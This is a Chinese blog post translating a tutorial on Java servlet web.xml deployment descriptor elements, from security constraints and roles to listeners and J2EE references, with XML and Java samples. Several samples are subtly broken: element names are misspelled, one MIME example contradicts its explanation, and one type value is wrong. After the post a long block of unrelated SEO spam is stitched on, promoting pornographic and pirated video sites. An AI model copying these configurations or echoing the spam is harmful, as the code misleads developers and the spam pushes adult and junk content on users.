    此 元素確定應該保護的資源。所有security-constraint元素都必須包含至少一個web-resource-collection項。此元素 由一個給出任意標識名稱的web-resource-name元素、一個確定應該保護的URL的url-pattern元素、一個指出此保護所適用的 HTTP命令(GET、POST等,缺省為所有方法)的http-method元素和一個提供資料的可選description元素組成。例如,下面的 Web-resource-collection項(在security-constratint元素內)指出Web應用的proprietary目錄中 所有文檔應該受到保護。
    <security-constraint>
    <web-resource-coolection>
    <web-resource-name>Proprietary</web-resource-name>
    <url-pattern>/propritary/*</url-pattern>
    </web-resource-coolection>
    <!-- ... -->
    </security-constraint>
    重 要的是應該注意到,url-pattern僅適用于直接訪問這些資源的客戶機。特別是,它不適合于通過MVC體系結構利用 RequestDispatcher來訪問的頁面,或者不適合于利用類似jsp:forward的手段來訪問的頁面。這種不勻稱如果利用得當的話很有好 處。例如,servlet可利用MVC體系結構查找數據,把它放到bean中,發送請求到從bean中提取數據的JSP頁面并顯示它。我們希望保證決不直 接訪問受保護的JSP頁面,而只是通過建立該頁面將使用的bean的servlet來訪問它。url-pattern和auth-contraint元素 可通過聲明不允許任何用戶直接訪問JSP頁面來提供這種保證。但是,這種不勻稱的行為可能讓開發人員放松警惕,使他們偶然對應受保護的資源提供不受限制的 訪問。
    l auth-constraint
    盡管web-resource-collention元素質出了哪些URL應該受到保護, 但是auth-constraint元素卻指出哪些用戶應該具有受保護資源的訪問權。此元素應該包含一個或多個標識具有訪問權限的用戶類別role- name元素,以及包含(可選)一個描述角色的description元素。例如,下面web.xml中的security-constraint元素部 門規定只有指定為Administrator或Big Kahuna(或兩者)的用戶具有指定資源的訪問權。
    <security-constraint>
    <web-resource-coolection> ... </web-resource-coolection>
    <auth-constraint>
    <role-name>administrator</role-name>
    <role-name>kahuna</role-name>
    </auth-constraint>
    </security-constraint>
    重要的是認識到,到此為止,這個過程的可移植部分結束了。服務器怎樣確定哪些用戶處于任何角色以及它怎樣存放用戶的口令,完全有賴于具體的系統。
    例如,Tomcat使用install_dir/conf/tomcat-users.xml將用戶名與角色名和口令相關聯,正如下面例子中所示,它指出用戶joe(口令bigshot)和jane(口令enaj)屬于administrator和kahuna角色。
    <tomcat-users>
    <user name="joe" password="bigshot" roles="administrator,kahuna" />
    <user name="jane" password="enaj" roles="kahuna" />
    </tomcat-users>
    l user-data-constraint
    這 個可選的元素指出在訪問相關資源時使用任何傳輸層保護。它必須包含一個transport-guarantee子元素(合法值為NONE、 INTEGRAL或CONFIDENTIAL),并且可選地包含一個description元素。transport-guarantee為NONE值將 對所用的通訊協議不加限制。INTEGRAL值表示數據必須以一種防止截取它的人閱讀它的方式傳送。雖然原理上(并且在未來的HTTP版本中),在 INTEGRAL和CONFIDENTIAL之間可能會有差別,但在當前實踐中,他們都只是簡單地要求用SSL。例如,下面指示服務器只允許對相關資源做 HTTPS連接:
    <security-constraint>
    <!-- ... -->
    <user-data-constraint>
    <transport-guarantee>CONFIDENTIAL</transport-guarantee>
    </user-data-constraint>
    </security-constraint>
    l display-name
    security-constraint的這個很少使用的子元素給予可能由GUI工具使用的安全約束項一個名稱。
    9.3 分配角色名
    迄今為止,討論已經集中到完全由容器(服務器)處理的安全問題之上了。但servlet以及JSP頁面也能夠處理它們自己的安全問題。
    例 如,容器可能允許用戶從bigwig或bigcheese角色訪問一個顯示主管人員額外緊貼的頁面,但只允許bigwig用戶修改此頁面的參數。完成這種 更細致的控制的一種常見方法是調用HttpServletRequset的isUserInRole方法,并據此修改訪問。
    Servlet的 security-role-ref子元素提供出現在服務器專用口令文件中的安全角色名的一個別名。例如,假如編寫了一個調用 request.isUserInRole("boss")的servlet,但后來該servlet被用在了一個其口令文件調用角色manager而不 是boss的服務器中。下面的程序段使該servlet能夠使用這兩個名稱中的任何一個。
    <servlet>
    <!-- ... -->
    <security-role-ref>
    <role-name>boss</role-name> <!-- New alias -->
    <role-link>manager</role-link> <!-- Real name -->
    </security-role-ref>
    </servlet>
    也可以在web-app內利用security-role元素提供將出現在role-name元素中的所有安全角色的一個全局列表。分別地生命角色使高級IDE容易處理安全信息。

    10 控制會話超時

    如 果某個會話在一定的時間內未被訪問,服務器可把它扔掉以節約內存。可利用HttpSession的setMaxInactiveInterval方法直接 設置個別會話對象的超時值。如果不采用這種方法,則缺省的超時值由具體的服務器決定。但可利用session-config和session- timeout元素來給出一個適用于所有服務器的明確的超時值。超時值的單位為分鐘,因此,下面的例子設置缺省會話超時值為三個小時(180分鐘)。
    <session-config>
    <session-timeout>180</session-timeout>
    </session-config>

    11 Web應用的文檔化

    越 來越多的開發環境開始提供servlet和JSP的直接支持。例子有Borland Jbuilder Enterprise Edition、Macromedia UltraDev、Allaire JRun Studio(寫此文時,已被Macromedia收購)以及IBM VisuaAge for Java等。
    大量的web.xml元素不僅是為服務器設計的,而且還是為可視開發環境設計的。它們包括icon、display-name和discription等。
    可回憶一下,在web.xml內以適當地次序聲明web-app子元素很重要。不過,這里只要記住icon、display-name和description是web.xml的web-app元素內的前三個合法元素即可。
    l icon
    icon元素指出GUI工具可用來代表Web應用的一個和兩個圖像文件。可利用small-icon元素指定一幅16 x 16的GIF或JPEG圖像,用large-icon元素指定一幅32 x 32的圖像。下面舉一個例子:
    <icon>
    <small-icon>/images/small-book.gif</small-icon>
    <large-icon>/images/tome.jpg</large-icon>
    </icon>
    l display-name
    display-name元素提供GUI工具可能會用來標記此Web應用的一個名稱。下面是個例子。
    <display-name>Rare Books</display-name>
    l description
    description元素提供解釋性文本,如下所示:
    <description>
    This Web application represents the store developed for
    rare-books.com, an online bookstore specializing in rare
    and limited-edition books.
    </description>

    12 關聯文件與MIME類型

    服 務器一般都具有一種讓Web站點管理員將文件擴展名與媒體相關聯的方法。例如,將會自動給予名為mom.jpg的文件一個image/jpeg的MIME 類型。但是,假如你的Web應用具有幾個不尋常的文件,你希望保證它們在發送到客戶機時分配為某種MIME類型。mime-mapping元素(具有 extension和mime-type子元素)可提供這種保證。例如,下面的代碼指示服務器將application/x-fubar的MIME類型分 配給所有以.foo結尾的文件。
    <mime-mapping>
    <extension>foo</extension>
    <mime-type>application/x-fubar</mime-type>
    </mime-mapping>
    或許,你的Web應用希望重載(override)標準的映射。例如,下面的代碼將告訴服務器在發送到客戶機時指定.ps文件作為純文本(text/plain)而不是作為PostScript(application/postscript)。
    <mime-mapping>
    <extension>ps</extension>
    <mime-type>application/postscript</mime-type>
    </mime-mapping>


    13 定位TLD

    JSP taglib元素具有一個必要的uri屬性,它給出一個TLD(Tag Library Descriptor)文件相對于Web應用的根的位置。TLD文件的實際名稱在發布新的標簽庫版本時可能會改變,但我們希望避免更改所有現有JSP頁 面。此外,可能還希望使用保持taglib元素的簡練性的一個簡短的uri。這就是部署描述符文件的taglib元素派用場的所在了。Taglib包含兩 個子元素:taglib-uri和taglib-location。taglib-uri元素應該與用于JSP taglib元素的uri屬性的東西相匹配。Taglib-location元素給出TLD文件的實際位置。例如,假如你將文件chart-tags- 1.3beta.tld放在WebApp/WEB-INF/tlds中。現在,假如web.xml在web-app元素內包含下列內容。
    <taglib>
    <taglib-uri>/charts.tld</taglib-uri>
    <taglib-location>
    /WEB-INF/tlds/chart-tags-1.3beta.tld
    </taglib-location>
    </taglib>
    給出這個說明后,JSP頁面可通過下面的簡化形式使用標簽庫。
    <%@ taglib uri="/charts.tld" prefix="somePrefix" %>

    14 指定應用事件監聽程序

    應用事件監聽器程序是建立或修改servlet環境或會話對象時通知的類。它們是servlet規范的版本2.3中的新內容。這里只簡單地說明用來向Web應用注冊一個監聽程序的web.xml的用法。
    注冊一個監聽程序涉及在web.xml的web-app元素內放置一個listener元素。在listener元素內,listener-class元素列出監聽程序的完整的限定類名,如下所示:
    <listener>
    <listener-class>package.ListenerClass</listener-class>
    </listener>
    雖 然listener元素的結構很簡單,但請不要忘記,必須正確地給出web-app元素內的子元素的次序。listener元素位于所有的servlet 元素之前以及所有filter-mapping元素之后。此外,因為應用生存期監聽程序是serlvet規范的2.3版本中的新內容,所以必須使用 web.xml DTD的2.3版本,而不是2.2版本。
    例如,程序清單5-20給出一個名為ContextReporter的簡單的監聽程序, 只要Web應用的Servlet-Context建立(如裝載Web應用)或消除(如服務器關閉)時,它就在標準輸出上顯示一條消息。程序清單5-21給 出此監聽程序注冊所需要的web.xml文件的一部分。

    程序清單5-20 ContextReporterjava
    package moreservlets;

    import javax.servlet.*;
    import java.util.*;

    /** Simple listener that prints a report on the standard output
    * when the ServletContext is created or destroyed.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class ContextReporter implements ServletContextListener {
    public void contextInitialized(ServletContextEvent event) {
    System.out.println("Context created on " +
    new Date() + ".");
    }

    public void contextDestroyed(ServletContextEvent event) {
    System.out.println("Context destroyed on " +
    new Date() + ".");
    }
    }


    程序清單5-21 web.xml(聲明一個監聽程序的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <filter-mapping> … </filter-mapping>
    <listener>
    <listener-class>package.ListenerClass</listener-class>
    </listener>
    <servlet> ... </servlet>
    <!-- ... -->
    </web-app>


    15 J2EE元素

    本節描述用作J2EE環境組成部分的Web應用的web.xml元素。這里將提供一個簡明的介紹,詳細內容可以參閱http://java.sun.com/j2ee/j2ee-1_3-fr-spec.pdf的Java 2 Plantform Enterprise Edition版本1.3規范的第5章。
    l distributable
    distributable 元素指出,Web應用是以這樣的方式編程的:即,支持集群的服務器可安全地在多個服務器上分布Web應用。例如,一個可分布的應用必須只使用 Serializable對象作為其HttpSession對象的屬性,而且必須避免用實例變量(字段)來實現持續性。distributable元素直 接出現在discription元素之后,并且不包含子元素或數據,它只是一個如下的標志。
    <distributable />
    l resource-env-ref
    resource -env-ref元素聲明一個與某個資源有關的管理對象。此元素由一個可選的description元素、一個resource-env-ref- name元素(一個相對于java:comp/env環境的JNDI名)以及一個resource-env-type元素(指定資源類型的完全限定的 類),如下所示:
    <resource-env-ref>
    <resource-env-ref-name>
    jms/StockQueue
    </resource-env-ref-name>
    <resource-env-ref-type>
    javax.jms.Queue
    </resource-env-ref-type>
    </resource-env-ref>
    l env-entry
    env -entry元素聲明Web應用的環境項。它由一個可選的description元素、一個env-entry-name元素(一個相對于java: comp/env環境JNDI名)、一個env-entry-value元素(項值)以及一個env-entry-type元素(java.lang程序 包中一個類型的完全限定類名,java.lang.Boolean、java.lang.String等)組成。下面是一個例子:
    <env-entry>
    <env-entry-name>minAmout</env-entry-name>
    <env-entry-value>100.00</env-entry-value>
    <env-entry-type>minAmout</env-entry-type>
    </env-entry>
    l ejb-ref
    ejb -ref元素聲明對一個EJB的主目錄的應用。它由一個可選的description元素、一個ejb-ref-name元素(相對于java: comp/env的EJB應用)、一個ejb-ref-type元素(bean的類型,Entity或Session)、一個home元素(bean的主 目錄接口的完全限定名)、一個remote元素(bean的遠程接口的完全限定名)以及一個可選的ejb-link元素(當前bean鏈接的另一個 bean的名稱)組成。
    l ejb-local-ref
    ejb-local-ref元素聲明一個EJB的本地主目錄的引用。除了用local-home代替home外,此元素具有與ejb-ref元素相同的屬性并以相同的方式使用。

    posted @ 2008-08-23 13:17 Fighter 閱讀(1083) | 評論 (1)編輯 收藏

    主站蜘蛛池模板: 日韩av无码久久精品免费 | 99热在线精品免费播放6| 亚洲成熟xxxxx电影| 成年轻人网站色免费看| a级毛片免费高清视频| 亚洲视频免费一区| 国产又大又长又粗又硬的免费视频 | 亚洲熟妇少妇任你躁在线观看无码 | 亚洲av成本人无码网站| 国产AV无码专区亚洲AV男同 | 久久91亚洲人成电影网站| 免费人成视频在线| 丰满人妻一区二区三区免费视频| 亚洲欧洲日韩在线电影| 亚洲天堂中文字幕在线| 好吊妞在线成人免费| 99久久久国产精品免费牛牛四川 | 在线播放国产不卡免费视频| 亚洲第一区视频在线观看| 亚洲日韩涩涩成人午夜私人影院| 99热在线精品免费全部my| 日本在线免费观看| 香蕉视频免费在线| 国产成+人+综合+亚洲专| 国产亚洲综合成人91精品| 免费v片视频在线观看视频| 麻豆一区二区免费播放网站 | 全黄a免费一级毛片人人爱| 24小时日本韩国高清免费| 久青草视频97国内免费影视| 欧美激情综合亚洲一二区| 亚洲视频欧洲视频| 亚洲av无码av制服另类专区| 亚洲欧洲精品成人久久奇米网| 毛片视频免费观看| 波多野结衣在线免费视频| 久9久9精品免费观看| 三年片免费高清版 | 亚洲成a人片在线观看中文app| 亚洲精品无码不卡在线播放HE| 免费一级毛片清高播放|